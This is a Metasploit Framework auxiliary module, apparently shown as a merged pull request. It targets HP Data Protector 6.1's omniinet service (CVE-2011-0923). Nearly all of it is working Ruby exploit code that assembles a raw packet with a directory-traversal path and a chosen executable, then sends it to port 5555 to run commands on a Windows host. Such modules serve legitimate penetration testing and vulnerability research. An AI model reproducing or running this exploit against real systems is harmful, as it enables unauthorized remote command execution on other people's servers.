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Merge pull request #267 from wchen-r7/hp_data_protector_win_cmd
Add HP Data Protector aux module for executing commands on Windows
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## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
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require 'msf/core' | ||
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class Metasploit3 < Msf::Auxiliary | ||
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include Msf::Exploit::Remote::Tcp | ||
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def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'HP Data Protector 6.1 EXEC_CMD Command Execution', | ||
'Description' => %q{ | ||
This module exploits HP Data Protector's omniinet process, specifically | ||
against a Windows setup. | ||
When an EXEC_CMD packet is sent, omniinet.exe will attempt to look | ||
for that user-supplied filename with kernel32!FindFirstFileW(). If the file | ||
is found, the process will then go ahead execute it with CreateProcess(). | ||
under a new thread. If the filename isn't found, FindFirstFileW() will throw | ||
an error (0x03), and then bails early without triggering CreateProcess(). | ||
Because of these behaviors, if you try to supply an argument, FindFirstFileW() | ||
will look at that as part of the filename, and then bail. | ||
Please note that when you specify the 'CMD' option, the base path begins | ||
under C:\. | ||
}, | ||
'References' => | ||
[ | ||
[ 'CVE', '2011-0923' ], | ||
[ 'OSVDB', '72526' ], | ||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/' ], | ||
[ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html' ], | ||
[ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux' ] | ||
], | ||
'Author' => | ||
[ | ||
'ch0ks', # poc | ||
'c4an', # msf poc (linux) | ||
'wireghoul', # Improved msf (linux) | ||
'sinn3r' | ||
], | ||
'License' => MSF_LICENSE, | ||
'DisclosureDate' => "Feb 7 2011", | ||
)) | ||
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register_options( | ||
[ | ||
Opt::RPORT(5555), | ||
OptString.new("CMD", [true, 'File to execute', 'Windows\System32\calc.exe']) | ||
], self.class) | ||
end | ||
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def run | ||
cmd = datastore['CMD'] | ||
cmd << "\x00"*25 | ||
cmd << "\n" | ||
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user = Rex::Text.rand_text_alpha(4) | ||
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packet = "\x00\x00\x00\xa4\x20\x32\x00\x20" | ||
packet << user*2 | ||
packet << "\x00\x20\x30\x00\x20" | ||
packet << "SYSTEM" | ||
packet << "\x00\x20\x63\x34\x61\x6e" | ||
packet << "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20" | ||
packet << user | ||
packet << "\x20\x20\x20\x20\x00\x20" | ||
packet << "\x50\x6f\x63" | ||
packet << "\x00\x20" | ||
packet << "NTAUTHORITY" | ||
packet << "\x00\x20" | ||
packet << "NTAUTHORITY" | ||
packet << "\x00\x20" | ||
packet << "NTAUTHORITY" | ||
packet << "\x00\x20\x30\x00\x20\x30\x00\x20" | ||
packet << "../../../../../../../../../../" | ||
packet << cmd | ||
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begin | ||
print_status("#{rhost}:#{rport} - Sending command...") | ||
connect | ||
sock.put(packet) | ||
res = sock.get_once | ||
print_status(res.to_s) if not res.empty? | ||
rescue | ||
print_error("#{rhost}:#{rport} - Unable to connect") | ||
ensure | ||
disconnect | ||
end | ||
end | ||
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end |